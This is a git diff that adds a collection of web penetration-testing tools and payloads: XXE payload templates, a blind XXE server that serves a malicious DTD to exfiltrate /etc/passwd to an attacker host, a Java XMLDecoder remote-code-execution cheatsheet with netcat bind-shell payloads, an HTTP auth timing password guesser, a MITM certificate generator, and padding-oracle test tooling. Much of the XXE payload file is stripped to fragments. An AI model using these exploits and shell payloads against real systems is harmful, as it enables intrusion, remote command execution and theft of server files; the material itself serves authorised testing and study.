([gist](https://gist.github.com/mgeeky/5eb48b17c9d282ad3170ef91cfb6fe4c)) + +- **`struts-cheatsheet.md`** - Apache Struts devMode Remote Code Execution cheatsheet. ([gist](https://gist.github.com/mgeeky/5ba0170a5fd0171eb91bc1fd0f2618b7)) + +- **`pickle-payload.py`** - Python's Pickle Remote Code Execution payload template. ([gist](https://gist.github.com/mgeeky/cbc7017986b2ec3e247aab0b01a9edcd)) + +- **`http-auth-timing.py`** - HTTP Auth Timing attack tool as presented at Ruxcon CTF 2012 simple web challange. The tools tries to use every letter for auth password and construct the entire password upon the longest took authentication request. ([gist](https://gist.github.com/mgeeky/57e866604942f1824da310982c46da84)) + +- **`blindxxe.py`** - Blind XXE (External XML Entity) attacker's server - to be used in blind XXE data exfiltration (like in Play Framework or Ruby on Rails). ([gist](https://gist.github.com/mgeeky/7f45c82e8d3097cbbbb250e37bc68573)) + +- **`ajax_crawl.js`** - AJAX Crawling bookmarklet - useful bookmarklet for fetching accessible, in-scope URLs from the webpage (and it's sitemap.xml) in order to let them be captured in local proxy like Burp. This in turn is useful for populating local proxy's history and it's website resources tree. Must-have during website pentesting. ([gist](https://gist.github.com/mgeeky/db809bec7460707693f2ed3548ea6a43)) + +- **`dummy-web-server.py`** - a minimal http server in python. Responds to GET, HEAD, POST requests, but will fail on anything else. Forked from: [bradmontgomery/dummy-web-server.py](https://gist.github.com/bradmontgomery/2219997) ([gist](https://gist.github.com/mgeeky/c0675b2cf65bad6171edcb8f3bb2af6d)) \ No newline at end of file diff --git a/web/XXE_payloads b/web/XXE_payloads new file mode 100644 index 0000000..17c342a --- /dev/null +++ b/web/XXE_payloads @@ -0,0 +1,144 @@ +-------------------------------------------------------------- +Vanilla, used to verify outbound xxe or blind xxe +-------------------------------------------------------------- + + + + +]> +&sp; + +--------------------------------------------------------------- +OoB extraction +--------------------------------------------------------------- + + + + +%sp; +%param1; +]> +&exfil; + +## External dtd: ## + + +"> + +---------------------------------------------------------------- +OoB variation of above (seems to work better against .NET) +---------------------------------------------------------------- + + + +%sp; +%param1; +%exfil; +]> + +## External dtd: ## + + +"> + +--------------------------------------------------------------- +OoB extraction +--------------------------------------------------------------- + + + + +%sp; +%param3; +%exfil; +]> + +## External dtd: ## +"> + +----------------------------------------------------------------------- +OoB extra ERROR -- Java +----------------------------------------------------------------------- + + + +%sp; +%param3; +%exfil; +]> + +## External dtd: ## + +'> %param1; %external; + + +----------------------------------------------------------------------- +OoB extra nice +----------------------------------------------------------------------- + + + + +"> + +%dtd; +]> +&all; + +## External dtd: ## + + + +------------------------------------------------------------------ +File-not-found exception based extraction +------------------------------------------------------------------ + + + + %one; + %two; + %four; +]> + +## External dtd: ## + + +"> + +-------------------------^ you might need to encode this % (depends on your target) as: % + +-------------- +FTP +-------------- + + +%asd; +%c; +]> +&rrr; + + +## External dtd ## + +"> + +--------------------------- +Inside SOAP body +--------------------------- + %dtd;]>]]> + + +--------------------------- +Untested - WAF Bypass +--------------------------- + 0 && uri.startsWith(orig)) {good = true; excluded.forEach(function(ext) {if (uri.endsWith(ext)) {good = false; } else if (logoutRex.test(uri)) {if (!askedAlready) {askedAlready = true; if (confirm('Logout URL has been found, do you want to issue it as well?')) {includeLogouts = true; } } good = includeLogouts; } }); if(good) {arr.add(uri); if(arr.size > MAX_URLS_TO_FETCH) {if(!limit_reached) {alert('Parsed maximum number of URLs: ' + MAX_URLS_TO_FETCH + '. Skipping the rest...'); limit_reached = true; } return arr; } } } else if (uri.length > 0) {console.log('Skipping: ' + uri); } match = r.exec(code); } } return arr; } function fetchUrls(arr) {if(arr.size < 1) {return false; } var i = 0; arr.forEach(function(uri){i += 1; console.log('Requesting #' + i + ': "' + uri + '"'); xhr = new XMLHttpRequest(); xhr.open('get', uri, true); xhr.send(); }); return i; } html = document.documentElement.innerHTML; urls = collectUrls(html); len = fetchUrls(urls); alert('Asynchronously requested ' + len + ' URLs.'); xhr = new XMLHttpRequest(); xhr.onload = function() {if(xhr.readyState == xhr.DONE && xhr.status == 200) {console.log('Got sitemap.xml. Parsing...'); urls2 = collectUrls(this.responseText); len2 = fetchUrls(urls2); alert('Fetched ' + len2 + ' URLs from sitemap.xml'); } }; xhr.open('GET', location.origin + '/sitemap.xml', true); xhr.responseType = 'text'; xhr.send(); })() + + +/* Full code: +javascript:(function(){ + + MAX_URLS_TO_FETCH = 512; + limit_reached = false; + + function decodeHtml(html) { + txt = document.createElement('textarea'); + txt.innerHTML = html; + return txt.value; + } + + String.prototype.endsWith = function(suffix) { + return this.indexOf(suffix, this.length - suffix.length) !== -1; + }; + + function normalizeUri(uri) { + if (!uri || uri.length < 1) { + return ''; + } + + if(uri.toLowerCase().startsWith('javascript:') + || uri.toLowerCase().startsWith('mailto:') + || uri.toLowerCase().startsWith('phone:') + || uri.toLowerCase().startsWith('tel:') + || uri.toLowerCase().startsWith('phone:') + || uri.toLowerCase().startsWith('#') + ) { + return ''; + } + + orig = location.origin; + if (uri.startsWith('http') && !uri.startsWith(orig)) { + if (uri.substr(uri.indexOf(':')).startsWith(orig.substr(orig.indexOf(':')))) { + return uri; + } + return ''; + } + if (uri.startsWith(orig)) { + return uri; + } + if (uri.startsWith('//')) { + return location.protocol + uri; + } + if (uri.startsWith('"') || uri.startsWith("'") ) { + return ''; + } + if (!uri.startsWith('/')) { + var h = location.href; + return h.substr(0, h.lastIndexOf('/') + 1) + uri; + } + else { + return orig + uri; + } + return ''; + } + + function collectUrls(code) { + if (!code || code.length < 64) { + return new Array(); + } + + origin = location.origin; + arr = new Set(); + excluded = ['png', 'bmp', 'ico', 'jpeg', 'jpg', 'tiff', 'woff', 'css', 'gif']; + askedAlready = false; + includeLogouts = false; + logoutRex = /.*wylog|signoff|signout|exit|logout|logoff|byebye.*$/i; + + rexes = [ + /(?:href|src|action)="([^"]+)"/gi, + /(?:href|src|action)='([^']+)'/gi, + /'((?:https?:\/\/)?(?:www\.)?[-a-zA-Z0-9@:%._\+~#=]{2,256}\.[a-z]{2,6}\b(?:[-a-zA-Z0-9@:%_\+\".~#?&\/\/=]*))'/gi, + /"((?:https?:\/\/)?(?:www\.)?[-a-zA-Z0-9@:%._\+~#=]{2,256}\.[a-z]{2,6}\b(?:[-a-zA-Z0-9@:%_\+'.~#?&\/\/=]*))"/gi, + /((?:https?:\/\/)(?:www\.)?[-a-zA-Z0-9@:%._\+~#=]{2,256}\.[a-z]{2,6}\b(?:[-a-zA-Z0-9@:%_\+.~#?&\/\/=]*))/gi + ]; + + n = rexes.length; + for (var i = 0; i < rexes.length; i++) { + + r = new RegExp(rexes[i]); + match = r.exec(code); + + while (match != null) { + + uri2 = ''; + if (typeof match[1] !== 'undefined') uri2 += match[1]; + if (typeof match[2] !== 'undefined') uri2 += match[2]; + if (typeof match[3] !== 'undefined') uri2 += match[3]; + + uri = decodeHtml(uri2) || uri2; + uri = normalizeUri(uri); + + in_scope_wo_scheme = uri.substr(uri.indexOf(':')).startsWith(orig.substr(orig.indexOf(':'))); + if(uri.startsWith(orig) != in_scope_wo_scheme) { + uri = location.protocol + uri.substr(uri.indexOf(':')+1); + } + + if (uri && uri.length > 0 && uri.startsWith(orig)) { + good = true; + excluded.forEach(function(ext) { + if (uri.endsWith(ext)) { + good = false; + } else if (logoutRex.test(uri)) { + if (!askedAlready) { + askedAlready = true; + if (confirm('Logout URL has been found, do you want to issue it as well?')) { + includeLogouts = true; + } + } + good = includeLogouts; + } + }); + + if(good) { + arr.add(uri); + + if(arr.size > MAX_URLS_TO_FETCH) { + if(!limit_reached) { + alert('Parsed maximum number of URLs: ' + MAX_URLS_TO_FETCH + '. Skipping the rest...'); + limit_reached = true; + } + return arr; + } + } + } + else if (uri.length > 0) { + console.log('Skipping: ' + uri); + } + match = r.exec(code); + } + } + return arr; + } + + function fetchUrls(arr) { + if(arr.size < 1) { + return false; + } + + var i = 0; + arr.forEach(function(uri){ + i += 1; + console.log('Requesting #' + i + ': "' + uri + '"'); + xhr = new XMLHttpRequest(); + xhr.open('get', uri, true); + xhr.send(); + }); + return i; + } + + html = document.documentElement.innerHTML; + urls = collectUrls(html); + len = fetchUrls(urls); + alert('Asynchronously requested ' + len + ' URLs.'); + + xhr = new XMLHttpRequest(); + xhr.onload = function() { + if(xhr.readyState == xhr.DONE && xhr.status == 200) { + console.log('Got sitemap.xml. Parsing...'); + urls2 = collectUrls(this.responseText); + len2 = fetchUrls(urls2); + + alert('Fetched ' + len2 + ' URLs from sitemap.xml'); + } + }; + xhr.open('GET', location.origin + '/sitemap.xml', true); + xhr.responseType = 'text'; + xhr.send(); + +})() +*/ \ No newline at end of file diff --git a/web/blind-xxe-payload-1.txt b/web/blind-xxe-payload-1.txt new file mode 100644 index 0000000..acb58c3 --- /dev/null +++ b/web/blind-xxe-payload-1.txt @@ -0,0 +1,3 @@ +Content-Type: text/xml + +]>&xxetest; \ No newline at end of file diff --git a/web/blindxxe.py b/web/blindxxe.py new file mode 100644 index 0000000..1fa06bd --- /dev/null +++ b/web/blindxxe.py @@ -0,0 +1,120 @@ +#!/usr/bin/python + +# +# Simple Blind XXE server intended to handle incoming requests for +# malicious DTD file, that will subsequently ask for locally stored file, +# like file:///etc/passwd. +# +# This program has been tested with PlayFramework 2.1.3 XXE vulnerability, +# to be run as follows: +# +# 0. Configure global variables: SERVER_SOCKET and RHOST +# +# 1. Run the below script, using: +# $ python blindxxe.py +# +# where can be for instance: "file:///etc/passwd" +# +# 2. Then, while server is running - invoke XXE by requesting e.g. +# $ curl -X POST http://vulnerable/app --data-binary \ +# $'&exfil;' +# +# The expected result will be like the following: +# +# $ python blindxxe.py +# Exfiltrated file:///etc/passwd: +# ------------------------------ +# root:x:0:0:root:/root:/bin/sh +# nobody:x:65534:65534:nobody:/nonexistent:/bin/false +# user:x:1000:50:Linux User,,,:/home/user:/bin/sh +# play:x:100:65534:Linux User,,,:/var/www/play/:/bin/false +# mysql:x:101:65534:Linux User,,,:/home/mysql:/bin/false +# +# +# Mariusz B., 2016 +# + + +from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer +import urllib +import re +import sys +import time +import threading +import socket + +# +# CONFIGURE THE BELOW VARIABLES +# + +SERVER_SOCKET = ('0.0.0.0', 8000) +EXFIL_FILE = 'file:///etc/passwd' + +# The host on which you will run this server +RHOST = '192.168.56.1:' + str(SERVER_SOCKET[1]) + + +EXFILTRATED_EVENT = threading.Event() + +class BlindXXEServer(BaseHTTPRequestHandler): + + def response(self, **data): + code = data.get('code', 200) + content_type = data.get('content_type', 'text/plain') + body = data.get('body', '') + + self.send_response(code) + self.send_header('Content-Type', content_type) + self.end_headers() + self.wfile.write(body.encode('utf-8')) + self.wfile.close() + + def do_GET(self): + self.request_handler(self) + + def do_POST(self): + self.request_handler(self) + + def log_message(self, format, *args): + return + + def request_handler(self, request): + global EXFILTRATED_EVENT + + path = urllib.unquote(request.path).decode('utf8') + m = re.search('\/\?exfil=(.*)', path, re.MULTILINE) + if m and request.command.lower() == 'get': + data = path[len('/?exfil='):] + print 'Exfiltrated %s:' % EXFIL_FILE + print '-' * 30 + print urllib.unquote(data).decode('utf8') + print '-' * 30 + '\n' + self.response(body='true') + + EXFILTRATED_EVENT.set() + + elif request.path.endswith('.dtd'): + #print '[DEBUG] Sending malicious DTD file.' + dtd = ''' +"> +%%param_request;''' % {'exfil_file' : EXFIL_FILE, 'exfil_host' : RHOST} + + self.response(content_type='text/xml', body=dtd) + + else: + #print '[INFO] %s %s' % (request.command, request.path) + self.response(body='false') + +def main(): + server = HTTPServer(SERVER_SOCKET, BlindXXEServer) + thread = threading.Thread(target=server.serve_forever) + thread.daemon = True + thread.start() + + while not EXFILTRATED_EVENT.is_set(): + pass + +if __name__ == '__main__': + if len(sys.argv) > 1: + EXFIL_FILE = sys.argv[1] + main() diff --git a/web/burp-curl-beautifier.py b/web/burp-curl-beautifier.py new file mode 100644 index 0000000..850cf6f --- /dev/null +++ b/web/burp-curl-beautifier.py @@ -0,0 +1,44 @@ +#!/usr/bin/python + +# +# Simple script for making "Copy as curl command" output in system's clipboard a little nicer\ +# To use it: +# - firstly right click on request in BurpSuite +# - select "Copy as curl command" +# - then launch this script. +# As a result, you'll have a bit nicer curl command in your clipboard. +# + +try: + import xerox +except ImportError: + raise ImportError, "`xerox` library not found. Install it using: `pip install xerox`" +import re + +data = xerox.paste() +data = re.sub(r"\s+\\\n\s+", ' ', data, re.M) +data = re.sub('curl -i -s -k\s+-X', 'curl -iskX', data) +if "-iskX 'GET'" in data: + data = data.replace("-iskX 'GET'", '') +else: + data = re.sub(r"-iskX '([^']+)' ", r"-iskX \1 ", data) + +superfluous_headers = { + 'Upgrade-Insecure-Requests':'', + 'DNT':'', + 'User-Agent':'', + 'Content-Type':"application/x-www-form-urlencoded", + 'Referer':'', +} + +for k, v in superfluous_headers.items(): + val = v + if not val: + val = "[^']+" + rex = r" -H '" + k + ": " + val + "' " + m = re.search(rex, data) + if m: + data = re.sub(rex, ' ', data) + +data = re.sub(r"'(http[^']+)'$", r'"\1"', data) +xerox.copy(data) \ No newline at end of file diff --git a/web/burpCookieToUrl.py b/web/burpCookieToUrl.py new file mode 100644 index 0000000..e44e9c8 --- /dev/null +++ b/web/burpCookieToUrl.py @@ -0,0 +1,91 @@ +#!/usr/bin/python + +from burp import IBurpExtender +from burp import IParameter +from burp import IHttpListener +from burp import IExtensionStateListener + +# Can be used with: +# https://github.com/securityMB/burp-exceptions +# from exceptions_fix import FixBurpExceptions +import sys +import re +import urlparse +from urllib import urlencode + + +HOST_SCOPE = 'www.example.com' +TRIGGER_PATTERN = '/some/path/' +COOKIE_NAME = 'cookieTicket' +PARAMETER_NAME = 'ticket' + +class BurpExtender(IBurpExtender, IHttpListener, IExtensionStateListener): + ticket = '' + + def registerExtenderCallbacks(self, callbacks): + # sys.stdout = callbacks.getStdout() + + print '[+] Ticket appender is loading...' + + self._callbacks = callbacks + + # helpers object for analyzing HTTP request + self._helpers = callbacks.getHelpers() + + callbacks.setExtensionName("Copy Specific Cookie into URL parameter") + callbacks.registerHttpListener(self) + callbacks.registerExtensionStateListener(self) + + return + + def addUrlParam(self, _url, name, value): + pos1 = _url.find(' ') + 1 + pos2 = _url.rfind(' ') + url = _url[pos1:pos2] + + url_parts = list(urlparse.urlparse(url)) + query = dict(urlparse.parse_qsl(url_parts[4])) + query.update({name : value}) + url_parts[4] = urlencode(query) + + new_url = str(urlparse.urlunparse(url_parts)) + + return _url[:pos1] + new_url + _url[pos2:] + + + def processHttpMessage(self, toolFlag, messageIsRequest, currentRequest): + if messageIsRequest: + requestInfo = self._helpers.analyzeRequest(currentRequest) + + headers = requestInfo.getHeaders() + + if re.match('Host: ' + HOST_SCOPE, headers[1], re.I): + for h in headers: + if 'Cookie' in h and COOKIE_NAME in h: + pos0 = h.find(COOKIE_NAME) + pos1 = h.find('=', pos0) + pos2 = h.find(';', pos1) + ticket = h[pos1+1:pos2] + + if ticket != self.ticket: + print "[?] Cookie's value changed: '%s' => '%s'" % (ticket, self.ticket) + self.ticket = ticket + + url = headers[0] + print '[*] Working url: "%s"' % url + print '[*] Self.ticket = "%s"' % self.ticket + + if TRIGGER_PATTERN in url and self.ticket != '' and PARAMETER_NAME + '=' not in url: + print '[?] No Ticket parameter in URL. Adding it...' + + newHeaders = list(headers) + newHeaders[0] = self.addUrlParam(url, PARAMETER_NAME, ' ' + self.ticket) + print '[?] Updating URL from: "%s" => "%s"' % (headers[0], newHeaders[0]) + + bodyBytes = currentRequest.getRequest()[requestInfo.getBodyOffset():] + bodyStr = self._helpers.bytesToString(bodyBytes) + + newMessage = self._helpers.buildHttpMessage(newHeaders, bodyStr) + currentRequest.setRequest(newMessage) + +# FixBurpExceptions() \ No newline at end of file diff --git a/web/create_mitm_certificate.sh b/web/create_mitm_certificate.sh new file mode 100644 index 0000000..c7547be --- /dev/null +++ b/web/create_mitm_certificate.sh @@ -0,0 +1,31 @@ +#!/bin/bash + +echo -e "\n\nSimple SSL/TLS self-signed CA Certificate generator\n\n" + +if [ -z $1 ]; then + echo "Usage: $0 [file_name]" + echo -e "\nGoing with default name: './rogue_server'\n\n" +fi + +FILENAME=${1:-rogue_server} + +echo "[+] Generating public and private keys pair (.key)..." +openssl genrsa -out $FILENAME.key 1024 + +echo "[+] Generating a self-signed x509 CA's certificate (.crt)..." +openssl req -new -key $FILENAME.key -x509 -sha256 -days 3600 -out $FILENAME.crt + +echo "[+] Generating the PEM file out of the key and certificate files..." +cat $FILENAME.key $FILENAME.crt > $FILENAME.pem + +echo -e "\n[>] Certificate's dump:" +openssl x509 -in $FILENAME.pem -text -noout + +echo -e "\n[>] Generated files:" +echo -e "\tPKI keys (public/private):\t$FILENAME.key" +echo -e "\tCA Certficate:\t\t$FILENAME.crt" +echo -e "\tResulting PEM:\t\t$FILENAME.pem" + +echo -e "\n\n[+] Now you can start a TLS-enabled server with:\n" +echo -e "\n$ sudo socat -vv openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect::,verify=0 \n" +echo "Happy MITM-ing!" diff --git a/web/dummy-web-server.py b/web/dummy-web-server.py new file mode 100644 index 0000000..87a92bc --- /dev/null +++ b/web/dummy-web-server.py @@ -0,0 +1,51 @@ +#!/usr/bin/env python +""" +Very simple HTTP server in python. + +Usage:: + ./dummy-web-server.py [] + +Send a GET request:: + curl http://localhost + +Send a HEAD request:: + curl -I http://localhost + +Send a POST request:: + curl -d "foo=bar&bin=baz" http://localhost + +""" +from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer +import SocketServer + +class S(BaseHTTPRequestHandler): + def _set_headers(self): + self.send_response(200) + self.send_header('Content-type', 'text/html') + self.end_headers() + + def do_GET(self): + self._set_headers() + self.wfile.write("

hi!

") + + def do_HEAD(self): + self._set_headers() + + def do_POST(self): + # Doesn't do anything with posted data + self._set_headers() + self.wfile.write("

POST!

") + +def run(server_class=HTTPServer, handler_class=S, port=80): + server_address = ('', port) + httpd = server_class(server_address, handler_class) + print 'Starting httpd...' + httpd.serve_forever() + +if __name__ == "__main__": + from sys import argv + + if len(argv) == 2: + run(port=int(argv[1])) + else: + run() diff --git a/web/http-auth-timing.py b/web/http-auth-timing.py new file mode 100644 index 0000000..56bf647 --- /dev/null +++ b/web/http-auth-timing.py @@ -0,0 +1,53 @@ +#!/usr/bin/python + +import requests +import datetime +import string +import sys + +ALPHABET = string.printable +RETRIES = 1 + +def fetch(url, username, password): + a = datetime.datetime.now() + r = requests.get(url, auth=requests.auth.HTTPBasicAuth(username, password)) + if r.status_code == 200: + return 0 + b = datetime.datetime.now() + return (b - a).total_seconds() + +def main(url, username): + + pass_so_far = '' + while True: + print '\n[>] Password so far: "%s"\n' % pass_so_far + times = {} + avg_times = {} + for p in ALPHABET: + times[p] = [] + avg_times[p] = 0.0 + for i in range(RETRIES): + password = pass_so_far + p + t = fetch(url, username, password) + if t == 0: + print 'Password found: "%s"' % password + return + times[p].append(t) + + avg_times[p] = sum(times[p]) / float(RETRIES) + if ord(p) > 32: + print '\tLetter: "%c" - time: %f' % (p, avg_times[p]) + + max_time = [0,0] + for letter, time_ in times.items(): + if time_ > max_time[1]: + max_time[0] = letter + max_time[1] = time_ + + pass_so_far += max_time[0] + +if __name__ == '__main__': + if len(sys.argv) < 3: + print 'usage: http-auth-timing.py ' + + main(sys.argv[1], sys.argv[2]) \ No newline at end of file diff --git a/web/java-XMLDecoder-RCE.md b/web/java-XMLDecoder-RCE.md new file mode 100644 index 0000000..09e9f3c --- /dev/null +++ b/web/java-XMLDecoder-RCE.md @@ -0,0 +1,80 @@ +## Java Beans XMLDecoder Remote Code Execution cheatsheet + +Having a functionality of file upload or other function that is parsing input xml-type data that will later flow through the **XMLDecoder** component of _Java Beans_, one could try to play around it's known deserialization issue. In order to test that issue there should be specially crafted XML-payload used that would invoke arbitrary Java interfaces and methods with supplied parameters. + +### Payloads + +When one would like to start a bind shell on the target machine, he could use the payload like the following one: +``` +Runtime.getRuntime().exec(new java.lang.String[]{"/usr/bin/nc", "-l", "-p", "4444", "-e", "/bin/bash"}); +``` + +In such case desired XML would look like the following one: + +``` + + + + + + + /usr/bin/nc + + + -l + + + -p + + + 4444 + + + -e + + + /bin/bash + + + + + +``` + +or by using `ProcessBuilder`: + +``` +new java.lang.ProcessBuilder(new java.lang.String[]{"/usr/bin/nc", "-l", "-p", "4444", "-e", "/bin/bash"}).start() +``` + +Then the payload would look like: + +``` + + + + + + /usr/bin/nc + + + -l + + + -p + + + 4444 + + + -e + + + /bin/bash + + + + + + +``` diff --git a/web/oRTC-leak-internal-ip.js b/web/oRTC-leak-internal-ip.js new file mode 100644 index 0000000..c4504ef --- /dev/null +++ b/web/oRTC-leak-internal-ip.js @@ -0,0 +1,12 @@ +let ipAddresses = []; + +var oRTCIceGatherer = new RTCIceGatherer({ "gatherPolicy": "all", "iceServers": [] }); +oRTCIceGatherer.onlocalcandidate = function (oEvent) { + if(oEvent.candidate.type == "host") { + ipAddresses.push(oEvent.candidate.ip); + } +}; + +setTimeout(function() { + console.log(ipAddresses.toString()); +}, 500); \ No newline at end of file diff --git a/web/padding-oracle-tests.py b/web/padding-oracle-tests.py new file mode 100644 index 0000000..4f0c806 --- /dev/null +++ b/web/padding-oracle-tests.py @@ -0,0 +1,311 @@ +#!/usr/bin/python +# +# Padding Oracle test-cases generator. +# Mariusz B. / mgeeky, 2016 +# v0.2 +# +# Simple utility that aids the penetration tester when manually testing Padding Oracle condition +# of a target cryptosystem, by generating set of test cases to fed the cryptosystem with. +# +# Script that takes from input an encoded cipher text, tries to detect applied encoding, decodes the cipher +# and then generates all the possible, reasonable cipher text transformations to be used while manually +# testing for Padding Oracle condition of cryptosystem. The output of this script will be hundreds of +# encoded values to be used in manual application testing approaches, like sending requests. +# +# One of possible scenarios and ways to use the below script could be the following: +# - clone the following repo: https://github.com/GDSSecurity/PaddingOracleDemos +# - launch pador.py which is an example of application vulnerable to Padding Oracle +# - then by using `curl http://localhost:5000/echo?cipher=` we are going to manually +# test for Padding Oracle outcomes. The case of returning something not being a 'decryption error' +# result would be considered padding-hit, therefore vulnerability proof. +# +# This script could be then launched to generate every possible test case of second to the last block +# being filled with specially tailored values (like vector of zeros with last byte ranging from 0-255) +# and then used in some kind of local http proxy (burp/zap) or http client like (curl/wget). +# +# Such example usage look like: +# +#--------------------------------------------- +# bash$ x=0 ; for i in $(./padding-oracle-tests.py 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6); \ +# do curl -s http://host:5000/echo?cipher=$i | grep -qv 'error' && printf "Byte: 0x%02x not generated decryption error.\n" $x ; x=$((x+1)); done +# +# [?] Data resembles block cipher with block size = 16 +# [?] Data resembles block cipher with block size = 8 +# +# Generated in total: 512 test cases for 8, 16 block sizes. +# Byte: 0x87 not generated decryption error. +#--------------------------------------------- +# +# There the script took at it's first parameter the hex encoded parameter, used it to feed test cases generator and resulted with 512 +# test cases varying with the last byte of the second to the last block: +# (...) +# 484b850123a04baf15df9be14e87369b000000000000000000000000000000fad2382fb0a54f3a2954bfebe0a04dd4d6 +# 484b850123a04baf15df9be14e87369b000000000000000000000000000000fbd2382fb0a54f3a2954bfebe0a04dd4d6 +# 484b850123a04baf15df9be14e87369b000000000000000000000000000000fcd2382fb0a54f3a2954bfebe0a04dd4d6 +# 484b850123a04baf15df9be14e87369b000000000000000000000000000000fdd2382fb0a54f3a2954bfebe0a04dd4d6 +# 484b850123a04baf15df9be14e87369b000000000000000000000000000000fed2382fb0a54f3a2954bfebe0a04dd4d6 +# 484b850123a04baf15df9be14e87369b000000000000000000000000000000ffd2382fb0a54f3a2954bfebe0a04dd4d6 +# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000054bfebe0a04dd4d6 +# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000154bfebe0a04dd4d6 +# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000254bfebe0a04dd4d6 +# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000354bfebe0a04dd4d6 +# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000454bfebe0a04dd4d6 +# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000554bfebe0a04dd4d6 +# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000654bfebe0a04dd4d6 +# (...) +# +# At the end, those values were used in for loop to launch for every entry a curl client with request to the Padding Oracle. +# The 0x87 byte that was catched was the only one that has not generated a 'decryption error' outcome from the request, resulting +# in improperly decrypted plain-text from attacker-controled cipher text. +# + +import re +import sys +import urllib +import binascii as ba +import base64 + +# Flip this variable when your input data is not being properly processed. +DEBUG = False + + +def info(txt): + sys.stderr.write(txt + '\n') + +def warning(txt): + info('[?] ' + txt) + +def error(txt): + info('[!] ' + txt) + +def dbg(txt): + if DEBUG: + info('[dbg] '+txt) + +# or maybe: +# class PaddingOracleTestCasesWithVaryingSecondToTheLastBlockGenerator +class PaddingOracleTestCasesGenerator: + NONE = 0 + B64URL = 1 + B64STD = 2 + HEXENC = 3 + + data = '' + offset = 0 + encoding = NONE + blocksizes = set() + urlencoded = False + + def __init__(self, data, blocksize=0): + self.data = data + len_before = len(data) + self.encoding = self.detect_encoding() + self.data = self.decode(data) + + if blocksize != 0: + assert blocksize % 8 == 0, "Blocksize must be divisible by 8" + self.blocksizes = [blocksize,] + else: + self.detect_blocksize() + + self.data_evaluation(len_before) + + def data_evaluation(self, len_before): + def entropy(txt): + import math + from collections import Counter + p, lns = Counter(txt), float(len(txt)) + return -sum( count / lns * math.log(count/lns, 2) for count in p.values()) + + e = entropy(self.data) + warning('Data size before and after decoding: %d -> %d' % (len_before, len(self.data))) + warning('Data entropy: %.6f' % entropy(self.data)) + + if e < 5.0: + info('\tData does not look random, not likely to deal with block cipher.') + elif e >= 5.0 and e < 7.0: + info('\tData only resembles random stream, hardly to be dealing with block cipher.') + else: + info('\tHigh likelihood of dealing with block cipher. That\'s good.') + + if self.offset != 0: + warning('Data structure not resembles block cipher.') + warning('Proceeding with sliding window of %d bytes in the beginning and at the end\n' % self.offset) + else: + warning('Data resembles block cipher with block size = %d' % max(self.blocksizes)) + + def detect_encoding(self): + b64url = '^[a-zA-Z0-9_\-]+={0,2}$' + b64std = '^[a-zA-Z0-9\+\/]+={0,2}$' + hexenc1 = '^[0-9a-f]+$' + hexenc2 = '^[0-9A-F]+$' + + data = self.data + if re.search('%[0-9a-f]{2}', self.data, re.I) != None: + dbg('Sample is url-encoded.') + data = urllib.unquote_plus(data) + self.urlencoded = True + + if (re.match(hexenc1, data) or re.match(hexenc2, data)) and len(data) % 2 == 0: + dbg('Hex encoding detected.') + return self.HEXENC + + if re.match(b64url, data): + dbg('Base64url encoding detected.') + return self.B64URL + + if re.match(b64std, data): + dbg('Standard Base64 encoding detected.') + return self.B64STD + + error('Warning: Could not detect data encoding. Going with plain data.') + return self.NONE + + def detect_blocksize(self): + sizes = [32, 16, 8] # Correspondigly: 256, 128, 64 bits + + self.offset = len(self.data) % 8 + datalen = len(self.data) - self.offset + + for s in sizes: + if datalen % s == 0 and datalen / s >= 2: + self.blocksizes.add(s) + + if not len(self.blocksizes): + if datalen >= 32: + self.blocksizes.add(16) + if datalen >= 16: + self.blocksizes.add(8) + + if not len(self.blocksizes): + raise Exception("Could not detect data's blocksize automatically.") + + def encode(self, data): + def _enc(data): + if self.encoding == PaddingOracleTestCasesGenerator.B64URL: + return base64.urlsafe_b64encode(data) + elif self.encoding == PaddingOracleTestCasesGenerator.B64STD: + return base64.b64encode(data) + elif self.encoding == PaddingOracleTestCasesGenerator.HEXENC: + return ba.hexlify(data).strip() + else: + return data + + enc = _enc(data) + if self.urlencoded: + return urllib.quote_plus(enc) + else: + return enc + + def decode(self, data): + def _decode(self, data): + if self.urlencoded: + data = urllib.unquote_plus(data) + + if self.encoding == PaddingOracleTestCasesGenerator.B64URL: + return base64.urlsafe_b64decode(data) + elif self.encoding == PaddingOracleTestCasesGenerator.B64STD: + return base64.b64decode(data) + elif self.encoding == PaddingOracleTestCasesGenerator.HEXENC: + return ba.unhexlify(data).strip() + else: + return data + + dbg("Hex dump of data before decoding:\n" + hex_dump(data)) + decoded = _decode(self, data) + dbg("Hex dump of data after decoding:\n" + hex_dump(decoded)) + return decoded + + def construct_second_to_last_block(self, data, blocksize, value, offset=0): + + assert len(data) >= 2 * blocksize, "Too short data to operate on it with given blocksize." + assert abs(offset) < blocksize, "Incorrect offset was specified. Out-of-bounds access." + + # Null vector with the last byte set to iterated value. + block = '0' * (2*(blocksize-1)) + '%02x' % value + + if offset >= 0: + # datadata + return data[:-2*blocksize-offset] + ba.unhexlify(block) + data[-blocksize-offset:] + else: + # datadata + return data[-offset:-2*blocksize] + ba.unhexlify(block) + data[-blocksize:] + + def generate_test_cases(self): + cases = [] + data = self.data + for size in self.blocksizes: + dbg("Now generating test cases of %d blocksize." % size) + for byte in range(256): + + # No offset + cases.append(self.encode(self.construct_second_to_last_block(data, size, byte))) + + if self.offset != 0: + cases.append(self.encode(self.construct_second_to_last_block(data, size, byte, self.offset))) + cases.append(self.encode(self.construct_second_to_last_block(data, size, byte, -self.offset))) + + return cases + +def hex_dump(data): + s = '' + n = 0 + lines = [] + + if len(data) == 0: + return '' + + for i in range(0, len(data), 16): + line = '' + line += '%04x | ' % (i) + n += 16 + + for j in range(n-16, n): + if j >= len(data): break + line += '%02x ' % ord(data[j]) + + line += ' ' * (3 